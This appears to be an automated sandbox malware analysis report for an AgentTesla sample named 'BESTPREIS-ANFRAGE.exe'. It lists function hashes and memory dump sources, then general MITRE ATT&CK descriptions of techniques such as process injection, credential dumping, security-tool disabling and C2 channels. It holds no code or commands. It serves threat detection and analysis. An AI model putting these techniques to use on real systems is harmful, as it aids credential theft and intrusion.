Instruction ID: a782aee0862045c7d63b62565da8d1d73bde411972812214866e3922d3b1cebf
Opcode Fuzzy Hash: c8a8d5bbec30c405d205c0e321fca93b9650538ef668cf2095b5624635d24dc8
Instruction Fuzzy Hash: 3F1112B5C00309CFCB10CFAAC444ADEFBF4AB89210F10852AD929B7200C374A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 010A5960, Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 010A67C5

Memory Dump Source

Source File: 00000014.00000002.5613359453.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: db31c3c86a4830a1e0869ceaeaf53a66d0a8913ba1e3d17bcd172eaf05e241e4
Instruction ID: f873097f6f642dff6a974e598db60be2b76e07458d42099ffe404a0708af3d7e
Opcode Fuzzy Hash: db31c3c86a4830a1e0869ceaeaf53a66d0a8913ba1e3d17bcd172eaf05e241e4
Instruction Fuzzy Hash: AB1103B4900248CFDB20CFE9D484BDEFFF4AB48324F14885AD559A7600D375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 010A676A, Relevance: 1.5, APIs: 1, Instructions: 44comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 010A67C5

Memory Dump Source

Source File: 00000014.00000002.5613359453.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: d2487074ef5d16c6ae97a49690f10b6399348bbfc3282167d2f1b18cc817081a
Instruction ID: 7d78ba5a8e3c06a7929593a159b0c054344fad3b9baa384fe47a7d0d6b581ac3
Opcode Fuzzy Hash: d2487074ef5d16c6ae97a49690f10b6399348bbfc3282167d2f1b18cc817081a
Instruction Fuzzy Hash: E41100B5C002488FDB20CFA9D484BDEFBF4AF89324F24885AD559A7600D375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1DF4D3D8, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5636234373.000000001DF4D000.00000040.00000001.sdmp, Offset: 1DF4D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80e1ae2c53703815102b82294d9df7e7680c92925dbe188a85e3370a9cfd79b4
Instruction ID: f4711c176f197930adc5c0364eee50d5e742fdc705bb09e3421bb4a5277f6dd9
Opcode Fuzzy Hash: 80e1ae2c53703815102b82294d9df7e7680c92925dbe188a85e3370a9cfd79b4
Instruction Fuzzy Hash: F0210671604240DFDB05CF58DDC0B56BF65FB88324F30C569D8090B296C33AE656CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1DF4D4C4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5636234373.000000001DF4D000.00000040.00000001.sdmp, Offset: 1DF4D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de93310bc1752222e4f674b10b4ddeeff805968a45c56affd213cc4188d3ffe7
Instruction ID: d14bdfc9ab24e32be65c5d9a5491d711baa3f5d80bd0a6390a56aa8ffca10dca
Opcode Fuzzy Hash: de93310bc1752222e4f674b10b4ddeeff805968a45c56affd213cc4188d3ffe7
Instruction Fuzzy Hash: E721F471604240DFDB05DF68DCC0B5ABF65FB88718F30C569D8080B286C776D656CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 1DF5D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5636474638.000000001DF5D000.00000040.00000001.sdmp, Offset: 1DF5D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c310ca6ae6cc9f1e3c6648684c0555743c03698fac234a7a1e3688d26284961b
Instruction ID: 3dc059ef06f70825c48386bf88f1adc645b40cb036d00ffe395478848522f50b
Opcode Fuzzy Hash: c310ca6ae6cc9f1e3c6648684c0555743c03698fac234a7a1e3688d26284961b
Instruction Fuzzy Hash: 3221D371605240DFDB05DF68DCC0B16BBA5FB84714F28CA69D8494B28AC337D547CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 1DF5D005, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5636474638.000000001DF5D000.00000040.00000001.sdmp, Offset: 1DF5D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8d50384c62d3c5afc21e48c31858c5abfc85c71de93c8947f45af6524796c16
Instruction ID: 9e38090dd47158b63d0d37e91d262abf1980cd0d6057a27a59e85756c51304da
Opcode Fuzzy Hash: e8d50384c62d3c5afc21e48c31858c5abfc85c71de93c8947f45af6524796c16
Instruction Fuzzy Hash: BB219F755097809FC702CF28D994B11BF71EB46314F28C6AAD8498B296C33AD94BCB62

Uniqueness

Uniqueness Score: -1.00%

Function 1DF4D3D3, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5636234373.000000001DF4D000.00000040.00000001.sdmp, Offset: 1DF4D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f84671f9128163ef36ca7655af1c546082f3dbd25661c3f41300798e16361ed
Instruction ID: 67842df01cc8d09d52a3d0ef8996c293d0f1c207cf824daf31519dad4cb7d069
Opcode Fuzzy Hash: 3f84671f9128163ef36ca7655af1c546082f3dbd25661c3f41300798e16361ed
Instruction Fuzzy Hash: 6011D376504280DFCB05CF18D9C4B16BF71FB84324F34C6A9D8090B666C33AE656CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1DF4D4BF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5636234373.000000001DF4D000.00000040.00000001.sdmp, Offset: 1DF4D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f84671f9128163ef36ca7655af1c546082f3dbd25661c3f41300798e16361ed
Instruction ID: b9c925c1d5322db454055935252ace612759db14be28b93eab0f01addbcc7ca5
Opcode Fuzzy Hash: 3f84671f9128163ef36ca7655af1c546082f3dbd25661c3f41300798e16361ed
Instruction Fuzzy Hash: EE119376504280DFCB05CF18D9C4B16BF71FB84314F34C5A9D8494B656C376D556CBA2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 014D1D28, Relevance: 4.7, Strings: 3, Instructions: 911COMMON

Download Yara Rule

Strings

Xl, xrefs: 014D1FDD
Xl, xrefs: 014D200E
Xl, xrefs: 014D1D31

Memory Dump Source

Source File: 00000014.00000002.5622948833.00000000014D0000.00000040.00000001.sdmp, Offset: 014D0000, based on PE: false

Similarity

API ID:
String ID: Xl$Xl$Xl
API String ID: 0-3252366664
Opcode ID: b4254c19db245a28636f2c98142f5e092bb715876642522d413ae3b42660cbee
Instruction ID: a3e1c71f7889be7f77ba1338405d9659c5fd9851c2ee1486e6d0a2d14941f8ab
Opcode Fuzzy Hash: b4254c19db245a28636f2c98142f5e092bb715876642522d413ae3b42660cbee
Instruction Fuzzy Hash: 2662FC70934B2D8FCBD48FA6991C4B472A1FF9823131187AFD8494A161C774AE89EF4D

Uniqueness

Uniqueness Score: -1.00%

Function 014D32A8, Relevance: 3.0, Strings: 2, Instructions: 506COMMON

Download Yara Rule

Strings

Xl, xrefs: 014D334A
Xl, xrefs: 014D337A

Memory Dump Source

Source File: 00000014.00000002.5622948833.00000000014D0000.00000040.00000001.sdmp, Offset: 014D0000, based on PE: false

Similarity

API ID:
String ID: Xl$Xl
API String ID: 0-3985810024
Opcode ID: e1ff75e57ddffe61996895be7cf4a9acae06e62e7ac05d3d5e2b61901d388bc9
Instruction ID: 62c647b78f75402144eb3a08009a4d4e056867103a85df92447ef86286c60cbe
Opcode Fuzzy Hash: e1ff75e57ddffe61996895be7cf4a9acae06e62e7ac05d3d5e2b61901d388bc9
Instruction Fuzzy Hash: A6029E70528F1EDFCBE14F1498181F777A1FB91729B544BAFE88645119C230BE48EB8A

Uniqueness

Uniqueness Score: -1.00%

Function 010A6D90, Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

<0G , xrefs: 010A7258

Memory Dump Source

Source File: 00000014.00000002.5613359453.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID:
String ID: <0G
API String ID: 0-998540447
Opcode ID: 2aadcaee5a4c52b432026149eb1314185a0e6a90e80cced2bed4835a8bc7acc5
Instruction ID: d7027396aface93baf1fe5237fd908768a618ebd4a8128877bd2aa770d0c6014
Opcode Fuzzy Hash: 2aadcaee5a4c52b432026149eb1314185a0e6a90e80cced2bed4835a8bc7acc5
Instruction Fuzzy Hash: 52F17C30A00209CFDB14CFE8C984B9DBBF2BF88314F59C569E555AF265DB72A945CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0100A2E8, Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

Xl, xrefs: 0100A302

Memory Dump Source

Source File: 00000014.00000002.5611519364.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID:
String ID: Xl
API String ID: 0-1085511972
Opcode ID: f01eca15b4ab5ad1914e3275db14318010cd7c94f6e34118ae6c03db8a56512e
Instruction ID: 942552b98221c7286257724b942dd2d4c8df2f3f89ffeb8af9b55a7f49c06011
Opcode Fuzzy Hash: f01eca15b4ab5ad1914e3275db14318010cd7c94f6e34118ae6c03db8a56512e
Instruction Fuzzy Hash: D5C1EA74B00319CBEF154FAA88552AD7AF6BFC8340F1A8869D492A7BD4DF34C841DB51

Uniqueness

Uniqueness Score: -1.00%

Function 01000780, Relevance: .8, Instructions: 811COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5611519364.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28bda91f347e5051e97740fc489637bc01527b8af3e76fbb09d11227dbb5fab6
Instruction ID: 9bf8d53c65a4ba167afbed3bfc0a1c039ff23c55a2f4dfbfc8627186c37fb276
Opcode Fuzzy Hash: 28bda91f347e5051e97740fc489637bc01527b8af3e76fbb09d11227dbb5fab6
Instruction Fuzzy Hash: 4D628D34B002148FDB15DBB8C8887ADBBF2AF88354F1585A9D549EB394DF34AD82CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01000720, Relevance: .8, Instructions: 765COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5611519364.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a09feffbca02839febd6bae32813b88ec3303bdbcd69542b2b90deef1b0819e4
Instruction ID: e00ea72032cacd3ebc8191a3622fe04e85a7348bf4aeb68d8a2ce57d57ae00b0
Opcode Fuzzy Hash: a09feffbca02839febd6bae32813b88ec3303bdbcd69542b2b90deef1b0819e4
Instruction Fuzzy Hash: 7C627B74B002148FDB25DB74C8887ADBBF2AF88354F1585A9D54AEB394DF34AD828F41

Uniqueness

Uniqueness Score: -1.00%

Function 014D9600, Relevance: .4, Instructions: 433COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5622948833.00000000014D0000.00000040.00000001.sdmp, Offset: 014D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb64b71a09e262d6a09c2216008e731123d68bf52d0048e466b970be06096ae9
Instruction ID: b9e4446393e853cf3bb8e46da78ceddb859a6646bbcefedc52a9f312327cd047
Opcode Fuzzy Hash: bb64b71a09e262d6a09c2216008e731123d68bf52d0048e466b970be06096ae9
Instruction Fuzzy Hash: B9023D74B001298FDB54EBB8C8947AEB7F6BF88208F158469D409DB365DF34AD81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 014D41D1, Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5622948833.00000000014D0000.00000040.00000001.sdmp, Offset: 014D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34f8f25a4487988b66009bdecd0477a6db46854a2266c0482949feebf428dc9c
Instruction ID: 109fc1f593d56d1d769b70b2d91b12c2334cb8fe874c4fef7bf96b2c7bf1b4ed
Opcode Fuzzy Hash: 34f8f25a4487988b66009bdecd0477a6db46854a2266c0482949feebf428dc9c
Instruction Fuzzy Hash: 95B15F30528F2EDFC7E48F1098581F677A2FE5172976487AFE88505119C231BE49EF89

Uniqueness

Uniqueness Score: -1.00%

Function 010A07E0, Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5613359453.00000000010A0000.00000040.00000001.sdmp, Offset: 010A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1516eed1f0c1222b3285095aa559556dea8b3c025c94fe4bf0f2dd39b483ae5f
Instruction ID: 95f98a7f5e7cea2f54898a072d016b5d04f119a1783e0f3d6085d402d5230377
Opcode Fuzzy Hash: 1516eed1f0c1222b3285095aa559556dea8b3c025c94fe4bf0f2dd39b483ae5f
Instruction Fuzzy Hash: 4BA16C32E0021A8FCF15DFB4C8405DEBBB2FF85300B5585BAE905AB265DB75E956CB80

Uniqueness

Uniqueness Score: -1.00%

Function 01043708, Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfe9c8ba0ae08f5802cb4f3b5cfb5e034caf86e3836497276f6daead1acb2951
Instruction ID: 91b143985a8c6941034b00b10c86d313b366c6d5cb190d11d636c798bcfb29f8
Opcode Fuzzy Hash: dfe9c8ba0ae08f5802cb4f3b5cfb5e034caf86e3836497276f6daead1acb2951
Instruction Fuzzy Hash: F0917AB4E002599FEB10CFA9C8817DDFBF2BF88704F149539D485AB294DB749885CB81

Uniqueness

Uniqueness Score: -1.00%

Function 010056D8, Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5611519364.0000000001000000.00000040.00000001.sdmp, Offset: 01000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8bb478c9048f35eab43b71515b76ae55a4330e1d8059e63dcf238169782d104
Instruction ID: f749adcd7845b473bdb04e497ee4178de39556032813f6ec48b2a4ed2529cf5d
Opcode Fuzzy Hash: b8bb478c9048f35eab43b71515b76ae55a4330e1d8059e63dcf238169782d104
Instruction Fuzzy Hash: EA915E75D002098BEF66CF9CC8846EEBBF5FB49310F54886AE958E7291D334D9408FA1

Uniqueness

Uniqueness Score: -1.00%

Function 0104C6A1, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.5612336546.0000000001040000.00000040.00000001.sdmp, Offset: 01040000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22810afc5e3a1019a68859437fe8de3e6779c27ecfe464cc705ae2dd7747ff6d
Instruction ID: f051d92e95340b49e9b0db365e496c38b5fee142aa2789bdff14e635f1640925
Opcode Fuzzy Hash: 22810afc5e3a1019a68859437fe8de3e6779c27ecfe464cc705ae2dd7747ff6d
Instruction Fuzzy Hash: 19113AB52025509FE709CF2CC9C4A95BBA5FF4A320B1586A5EDA9CB3A1C330F851DB90

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report BESTPREIS-ANFRAGE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Sigma Overview

Networking:

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

SMTP Packets